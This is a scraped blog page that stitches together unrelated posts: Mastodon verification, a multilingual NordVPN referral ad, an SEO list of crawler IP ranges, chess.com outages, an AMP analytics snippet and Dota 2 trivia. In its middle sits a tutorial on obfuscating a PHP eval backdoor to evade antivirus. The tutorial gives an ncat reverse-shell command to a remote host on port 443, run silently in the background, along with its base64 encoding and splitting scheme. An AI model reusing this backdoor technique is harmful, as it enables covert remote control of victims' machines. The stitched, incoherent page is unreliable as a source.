https://charts.bitbo.io/long-term-holder-supply
Category: internet
Mastodon Public Profile
Website verification
Verifying your identity on Mastodon is for everyone. Based on open web standards, now and forever free. All you need is a personal website that people recognize you by. When you link to this website from your profile, we will check that the website links back to your profile and show a visual indicator on it.
Here’s how
Copy and paste the code below into the HTML of your website. Then add the address of your website into one of the extra fields on your profile from the “Edit profile” tab and save changes.
<meta name="fediverse:creator" content="@seoultra@mastodon.social">
https://mastodon.social/settings/verification
Author attribution
Are you writing news or blog articles outside of Mastodon? Control how you get credited when they are shared on Mastodon.
seoultra.id’s Blog · Mar 15, 2024
More from seoultra.id
Here’s how
Make sure this code is in your article’s HTML
Then, add the domain name of the publication in the field below.
MastodonFree Premium VPN 3 Months in NordVPN
Play Mobile Legends from Another Country to get EASY opponents! Watch Netflix from Another Country to get all the movies you haven’t watched yet!
Nord VPN Link: https://refer-nordvpn.com/gmDqxZOKNsZ
Get 3 months free when you choose the 1-year or 2-year plan.
Get 1 month free when you choose the monthly plan.
玩其他国家的《Mobile Legends》,找到简单的对手!从另一个国家观看 Netflix,观看所有您尚未看过的电影!
Nord VPN 链接:https://refer-nordvpn.com/gmDqxZOKNsZ
如果您选择 1 年或 2 年计划,可免费使用 3 个月。
如果您选择包月套餐,可免费使用 1 个月。
他の国のモバイルレジェンドをプレイして、簡単に対戦相手を獲得しましょう!別の国から Netflix を視聴して、まだ見ていない映画をすべて視聴しましょう!
Nord VPN リンク: https://refer-nordvpn.com/gmDqxZOKNsZ
1 年または 2 年のプランを選択した場合は、3 か月間無料になります。
月額プランを選択すると 1 か月間無料になります。
เล่น Mobile Legends จากประเทศอื่น ๆ เพื่อรับคู่ต่อสู้ที่ง่ายดาย! ดู Netflix จาก Another Country เพื่อชมภาพยนตร์ทั้งหมดที่คุณยังไม่ได้ดู!
ลิงก์ Nord VPN: https://refer-nordvpn.com/gmDqxZOKNsZ
รับฟรี 3 เดือน หากคุณเลือกแผน 1 ปีหรือ 2 ปี
รับฟรี 1 เดือนหากคุณเลือกแผนรายเดือน
Chơi Mobile Legends từ các quốc gia khác để có được đối thủ DỄ DÀNG! Xem Netflix từ một quốc gia khác để xem tất cả những bộ phim bạn chưa xem!
Liên kết VPN Nord: https://refer-nordvpn.com/gmDqxZOKNsZ
Tặng 3 tháng miễn phí nếu bạn chọn gói 1 năm hoặc 2 năm.
Nhận 1 tháng miễn phí nếu bạn chọn gói hàng tháng.
Main Mobile Legends dari Negara Lain agar mendapatkan lawan yang MUDAH! Nonton Netflix dari Negara Lain agar mendapatkan semua film yang belum ditonton!
Nord VPN Link: https://refer-nordvpn.com/gmDqxZOKNsZ
Dapatkan 3 bulan gratis jika Anda memilih paket 1 tahun atau 2 tahun.
Dapatkan 1 bulan gratis jika Anda memilih paket bulanan.
#nordvpn #vpn #freevpn
Top Crawlers Bots IP Ranges For Search Engine Optimization
In the world of Search Engine Optimization (SEO), understanding the behavior of search engine crawlers is crucial. These crawlers, also known as bots or spiders, are automated programs used by search engines like Google, Bing, and others to scan and index the content of websites. By identifying the IP ranges of these crawlers, webmasters can optimize their websites more effectively. This article delves into the top crawlers, their IP ranges, and how this knowledge benefits SEO.
ENGINE | ENDPOINT |
Google IP Ranges | https://www.gstatic.com/ipranges/goog.json |
Google Bots | https://developers.google.com/static/search/apis/ipranges/googlebot.json |
Google Special Crawlers | https://developers.google.com/static/search/apis/ipranges/special-crawlers.json |
Google User Triggered | https://developers.google.com/static/search/apis/ipranges/user-triggered-fetchers.json |
Global and regional external IP address ranges for customers’ Google Cloud resources | https://www.gstatic.com/ipranges/cloud.json |
BingBot IP Ranges | https://www.bing.com/toolbox/bingbot.json |
DuckDuckGo Bots | https://duckduckgo.com/duckduckgo-help-pages/results/duckduckbot/ |
Ahref Crawler IP Ranges | https://api.ahrefs.com/v3/public/crawler-ip-ranges |
Yandex IP Ranges | https://yandex.com/ips |
Facebook IP Ranges | https://developers.facebook.com/docs/sharing/webmasters/crawler/ |
Cloud IPs | Reference Link |
IP Ranges v4 | https://www.cloudflare.com/ips-v4/# |
IP Ranges V6 | https://www.cloudflare.com/ips-v6/# |
API IP Ranges | https://api.cloudflare.com/client/v4/ips |
Yandex Cloud IPs | https://cloud.yandex.com/en/docs/vpc/concepts/ips |
Understanding Search Engine Crawlers
What Are Crawlers?
Crawlers are automated programs that visit websites to read and index their content. They follow links from one page to another, thereby creating a map of the web that search engines use to provide relevant search results.
Importance in SEO
Recognizing crawlers is essential in SEO as it ensures that your website is indexed correctly. Proper indexing increases the chances of your website appearing in search results, thereby driving organic traffic.
Top Search Engine Crawlers and Their IP Ranges
Googlebot
- Primary Role: Indexing websites for Google Search.
- IP Range: Googlebot IPs typically fall within the range owned by Google. However, due to the vast number of IP addresses Google owns, it’s more efficient to verify Googlebot by using the reverse DNS lookup method.
Bingbot
- Primary Role: Crawling for Microsoft’s Bing search engine.
- IP Range: Bingbot also uses a range of IP addresses. Similar to Googlebot, it’s advisable to use reverse DNS lookups to confirm the legitimacy of Bingbot.
Baiduspider
- Primary Role: Indexing for the Baidu search engine, predominantly used in China.
- IP Range: Baiduspider’s IP ranges are published by Baidu and can be found in their webmaster tools documentation.
Yandex Bot
- Primary Role: Crawling for Russia’s Yandex search engine.
- IP Range: Yandex provides a list of IP addresses for its crawlers, which can be found in their official documentation.
Why Knowing IP Ranges Matters
- Security: Distinguishing between legitimate crawlers and malicious bots is crucial for website security.
- Accurate Analytics: Identifying crawler traffic helps in obtaining more accurate analytics data, as it separates human traffic from bot traffic.
- SEO Optimization: Understanding crawler behavior helps in optimizing websites for better indexing and ranking.
- Resource Management: It helps in managing server resources effectively, as crawlers can consume significant bandwidth.
Best Practices for Managing Crawler Traffic
- Robots.txt File: Use this to guide crawlers on which parts of your site to scan and which to ignore.
- Monitoring Server Logs: Regularly check server logs for crawler activities to ensure that your site is being indexed properly.
- Updating Sitemaps: Keep your sitemaps updated to aid crawlers in efficient website navigation.
Conclusion
Recognizing and understanding the IP ranges of top search engine crawlers is a vital aspect of SEO. It helps in distinguishing between genuine search engine bots and potential security threats, enhances website performance, and contributes to more effective SEO strategies. As search engines evolve, staying informed about crawler activities and best practices is essential for maintaining and improving your website’s search engine visibility.
PHP Shell Eval() Backdoor Obfuscation
Introduction
When working with any programing or scripting language you might ask your self is this language could be used for “hacking”, this question in the beginning could be very superficial but let’s take it real. I do love PHP a lot to be honest, I’m using it in everything, in web, cryptography when I want to perform cryptographical tasks and even in backdoors, Its very clear language and its purpose and more in very good way. I asked my self what If we can do something new with this great language, let’s obfuscate a backdoor to avoid detection by AV and at the same time let’s make this code behaves like an ordinary code and from here the idea came.
Walk through the standards
Before starting any thing new you should put your standards and policies first to see how you should build your new theory, for example I put the following standards for me to follow and care about:
- Payload delivery
- Symantec and Signature based detections
- Readability of the code
- Command execution workflow
- Firewalls
And more but these are my major standards I want to care about them while crafting this backdoor.
Planning for the theory
Now after we knew what we going to do and what standards we should follow we came to the planning section, I wanted to make something new to the security appliances, something isn’t commonly used against these appliances, so, the chances of detection will be decreased. In my plan I decided to follow the following rules:
Using multiple foreign languages which rarely used to write our backdoor.
Every variable with certain languages should have its own reference variable which basically written in different variable, this step will confuse the code more and more.
Variables sequences should be varied, so, debugging or deobfuscating the code now should be harder.
System commands and PHP codes will be used in this mission should be encoded, truncated and every truncated part should be in a single variable, each single variable should has its own reference variable and this reference variable should follow the standards mentioned before, in addition the sequence of truncated encoded string should be varied in sorting, but when decoding it using decoder function it will be concatenated in the right sequence with the reference variable used and we can make a mix of reference and standard variables as we will see later in this article.
The decoder function also should be obfuscated by truncating it following the previous rules, then using it as a variable to decode the encoded string.
Variables names also should consists of special characters like ‘_’ and numbers, for example if we have language like the Chinese language, maybe one word in English translated to two strings in Chinese, so we can used multiple forms and identifying more than single variable with the same name, like:
$最後の4
$最後の3
$最後の_3
$最_後の1
This would confuse the code more and more.
Its optionally and recommended in my point of view to encrypt your obfuscated code then make a backdoor decrypt the obfuscated code and run it immediately, so, your code will be very safe because it’s just decrypt a string then execute that string, but deeply it’s a backdoor. Kindly want to note here that windows installation of PHP is very funny, so, it disables the openssl extension by default when installing but allows eval function 🙂 .. this means if you want to use the encryption method you should make sure that your target enabled the openssl extension, but if your target was links then no worries.
1. Start crafting the command
Yes we will do obfuscating to our code, but even the system command should be executed somehow safely, you can also obfuscate the system command!, but let’s make it simple this time and make a standard payload but with some security standards to avoid detection, first of all let’s list the standards we’ll follow while doing this crafting:
Connecting to our remote host using standard port usually opened and whitelisted in Firewalls .e.g. 443.
Turning off any verbose because we want to make everything silent and at the same time clean in the compromised machine.
Running the command in the background trying to make it silent more and more.
And just for notice, system command may not lead directly to reverse shell, for example you can make the powershell download a ps script then run it in the memory directly and gaining reverse shell, but because here we’re concentrating in the obfuscation we’ll make it as simple as we can, so, we’ll use netcat.
The command I used in this obfuscated payload is:
system(“start /b ncat.exe 192.168.245.213 443 -e cmd.exe”);
And for sure the IP here varied but other than the IP is the same. Now as explained before we should encode, and here the encoded text is:
c3lzdGVtKCJzdGFydCAvYiBuY2F0LmV4ZSAxOTIuMTY4LjI0NS4yMTMgNDQzIC1lIGNtZC5leGUiKTs=
Note: If you did obfuscated a payload then found a base padding like: — == — at the end of the base you can safely remove it as a type of confusing and hiding the identity of the encoding / base, and we did this here.
Let’s discuss how we should use it in our obfuscated code:
c3lzdGVtKCJ || zdGFydCA || vYiBuY2F0LmV4ZS || AxOTIuMTY4L || jI0NS4 || yMTMgNDQzIC1l || IGNtZC5leGUiKTs
We can truncated with non-standard truncation as you can see above, which means every part of the base64 here will be in different bits, so, when sorting it into the variables it will be hard to detect if these strings are related to each other or not, for example:
The encoded PHP system command execution and the system command itself.
So, as you can see in the picture above the encoded payload length varied and the sequence is not the right sequence for this encoding to work, but when we gonna decode it, we’ll put the right sequence — obfuscated surely —
2. Handling the decoding function
As we know, we did encoded the payload which will be executed — including the PHP system command executing function — and now we should do the same with decoding function, if remember what we said in the Planning section about the decoding function, we said that even the decoding function should be obfuscated, truncated and non-sorted also. Let’s take a look at this part of the code:
Before continue we should note again that you can make your own base encoding function and obfuscate it — it would be better — even you can do other techniques like ROT13 and you can develop it too. Let’s continue here and discuss the above code, here we did truncated the function name to many parts trying to hide it and also you may ask: but its in plain text, is it ok? and the answer is yes and no:
Yes, because simply it will be putted in reference variables by the way so it will be hard to find / detect.
No, because we can use techniques like reverse or ROT13 then pass it as function after decoding from these techniques and it would be better.
And now you’ll see that when we going to use it, we’ll use it references which already referenced :), so, it will be like that:
So, now the base64 being used easily as function from the variable which already uses a reference variable mixed with standard variables. Then now it runs the decoding function safely without any problems here.
3. Payload handling while decoding
This part is the easiest part in this techniques, all what you should do is to avoid using the encoded payload part directly, you should use reference variables with the techniques / rules explained before, this make the payload more confused. We can also concatenate the payload by grouping every couple of encoded parts in a group then using it again — with the right sequence of encoded payload to decode it right — we can discuss that in the following code:
4. Obfuscated payload with reference variables
Here I didn’t marked all the payloads but you get the point now, and if you concentrated here specially:
Here we used the variable $最後の3 to store a part of base64_decode function and at the same time we used $最後の4 to be used as a reference to the variable $_變量1 which stores a part of the payload will be executed, so, it will be confusing to use the same variable with changing only one character for very different purpose, and the same for the other variables highlighted, its the art of obfuscation.
5. Executing the magic
Finally now we’ll execute the decoded base64 using eval function as shown:
And now simply when running it, it will give us the reverse shell we want with persistence even if the user hit CTRL + C
because we did it in the background if you remember:
6. Final touches
As mentioned you can also use the encryption to hide the entire obfuscated payload, in the following code:
Here we will encode our obfuscated code first to handle it safely in this encryption phase and to avoid bugs, by the way it will be saved inside base64_decode()
function, so, if any other function will handle it, it will be the ordinary code without encoding. We’ll take this encrypted / ciphered backdoor now and will do the following:
Here we’re going to decrypt the ciphered obfuscated payload and run it into eval
function immediately as you can see.
7. Conclusion
The obfuscation is an art, there are no limits to what you can do, always think crazily and outside the box, be the red and blue teamer then cock your payload and feed it to the system.
Source: CyberGuy
Why Is chess.com Crashing? 502 Database Overloaded
Due to the sudden surge of players, Chess.com’s servers have crashed and players might experience errors while playing chess or solving puzzles. Servers are likely to crash during peak hours which Chess.com states to be around “noon to 4:00 pm ET.” Chess.com server crashes due to heavy traffic in Jan 25, 2023
New chess.com App Keeps Crashing
Messi x Ronaldo playing chess
Then came the FIFA season in November 2022, when Luis Vuitton released an internet-breaking photo featuring the two biggest football superstars in the world, Lionel Messi and Cristiano Ronaldo, playing a game of chess. The game of chess even depicts the same position as a Carlsen vs Nakamura game in 2007.
[AmpAnalytics ] No triggers were found in the config. No analytics data will be sent.
<script async custom-element="amp-analytics" src="https://cdn.ampproject.org/v0/amp-analytics-0.1.js"></script>
<amp-analytics type="googleanalytics" config="https://amp.analytics-debugger.com/ga4.json" data-credentials="include">
<script type="application/json">
{
"vars": {
"GA4_MEASUREMENT_ID": "G-XXXXXXXX",
"GA4_ENDPOINT_HOSTNAME": "www.google-analytics.com",
"DEFAULT_PAGEVIEW_ENABLED": true,
"GOOGLE_CONSENT_ENABLED": false,
"WEBVITALS_TRACKING": false,
"PERFORMANCE_TIMING_TRACKING": false,
"SEND_DOUBLECLICK_BEACON": false
}
}
</script>
</amp-analytics>
As a small sneak-peak, this is the meaning for all the configuration switches.
FEATURE NAME | DESCRIPTION |
---|---|
GA4_MEASUREMENT_ID | Your Measurement ID , G-XXXXXXXX |
GA4_ENDPOINT_HOSTNAME | Override the default endpoint domain. In case you want to send the hits to your own server or a Server Side GTM Instance. |
GOOGLE_CONSENT_ENABLED | a &gcs parameter will be added to the payloads with the current Consent Status |
WEBVITALS_TRACKING | If you enable this a webvitals event will fire 5 seconds after the page is visible |
PERFORMANCE_TIMING_TRACKING | Whatever you want to push a performance_timing event including the current page load performance timings |
DEFAULT_PAGEVIEW_ENABLED | If enabled a page_view event will fire on the page load |
SEND_DOUBLECLICK_BEACON | Send a DC Hit |
DMCA Alternatives – Website Copyrights
DMCA.com status page is linked to DMCA.com Protection Badge located on a webpage. This Certificate provides a statement of webpage content ownership. It also provides the website visitor with the status of the website owners’ content protection.
Aghanim’s Labyrinth: The Continuum Conundrum – Chat Wheel 2021 – Dota 2
Aghanim’s Labyrinth: The Continuum Conundrum is a gauntlet style event game mode available during the winter of 2021. It is the continuation to Aghanim’s Labyrinth, where teams of four must battle their way through a series of monster-filled rooms of the Continuum Vault to reach the boss, The Primal Beast, at the request of Aghanim himself to save an alternate version of himself.
DOWNLOAD CHAT WHEEL VIA GOOGLE DRIVE
Gameplay
- Teams of four enter a dungeon with several possible rooms. Finish the objectives of the room to move onto the next. Complete 17 rooms to beat the level.
- Each player has a set number of lives. Upon dying, players automatically resurrect after 10 seconds. Dead teammates cannot be revived.
- All dead players are automatically resurrected when a room is cleared.
- The game ends when all players are out of lives and dead.
Heroes
- 14 heroes with modified abilities are available for this game mode.
- Additional 15 heroes from last year’s Aghanim’s Labyrinth are unlockable through Blessings and can be randomly unlocked on certain level rewards in the Battle Pass.
Scepter Shards
- Scepter Shards are obtained by clearing rooms. They allows heroes to pick one of three random upgrades for their abilities.
- At the start of the exploration of the Continuum Vault, you are given option between three Legendary Shards, which give unique traits to an ability, or in certain heroes, may give an entirely new ability.
- Normal Rooms drop Common Shards, which give minor buffs to the hero or an ability’s existing stats.
- Elite Rooms and Trap Rooms drop Elite Shards, which give buffs that are twice as potent as Common Shards.
- Boss Rooms drop another Legendary Shards.
- This table shows all Legendary upgrades. Common upgrades are not shown. Crossed out upgrades were removed.
Trivia
- Aghanim‘s (the announcer) voice actor is Rich Sommer.
- This event uses many assets from the Siltbreaker event as well as the previous Aghanim’s Labyrinth event.
Voice announcer
Main Article: Aghanim’s Labyrinth/Announcer
Trailer
“The Continuum Device, here all along. I knew Valora was lying when she said Mars destroyed you. Well, where and when should we go first?”
What Is Kale in Dota 2? 卡了
It’s a kind of analogy. Originally, 卡壳 (qiǎ ké) meant “a cartridge got jammed inside the gun.”
When people are talking very fast and fluently, they are like a gun continuing shooting without any interruption. Words are “shot” (spoken) fast and continuously. There is also an expression “说话像机关枪一样,” the literal meaning of which is that someone “speaks like firing a machine gun.”
So when someone gets stuck while speaking, we say that he or she “卡壳”.
It’s an internet phrase to indicate network lag.
You use 你卡了吗 went you need to confirm whether the person is still there or have disconnected.
The community revolving around the e-sports game DOTA 2 is an incredibly international one. The game, which has as of now more than 12 million unique users every month, is immensely popular in not only North America and Europe, but also Brazil, Russia and China.
The Chinese teams play an especially important role in professional DOTA 2 tournaments. A nation that has had arguably the most endearing interest in the game’s predecessor, DOTA 1, its professional DOTA 2 teams are unsurprisingly amongst the world’s best. As a result, it’s becoming increasingly common for western tournaments to contain matches that are essentially “Chinese derbies” – matches where both teams were Chinese. This also, of course, incites in the western audience as well as the media an interest in Chinese DOTA 2 tournaments.
It’s not surprising then, to see Chinese DOTA 2 phrases adopted into the western scene. “Ka le” are the pinyin expressions of the Chinese characters “卡了”. The first character, “卡”(ka) means lag, while the second character “了”(le) is a modifying character that indicates past tense. Therefore a translation of “ka le” would be “there was a lag”.
As the Chinese DOTA 2 scene became ever-so-increasingly popular, this expression became known as well. However, the expression would never have become truly popular in the west, particularly North America, were it not for the coincidence that “ka le” bears such a striking resemblance to an infamous/famous word in our language (especially nowadays), “kale”.
So it happened. Many western players now, professionals and amateurs alike, type in all-chat: “kale” instead of “lag”.
THE INFORMANT
The informant is currently a student in university. We were teammates together on our DOTA 2 team. As of now he has been a player and an active participant in the community for 3 years.
He learnt of this folkspeech through in-game experience; he was watching a live-stream of a tournament match, during which the players on the western team used this phrase during a pause. Later in one our team’s matches he told us about this experience.
ANALYSIS
This is an intriguing example of how one culture’s folklore or joke can come from a translation and its subsequent misinterpretation o2f another culture’s common phrase.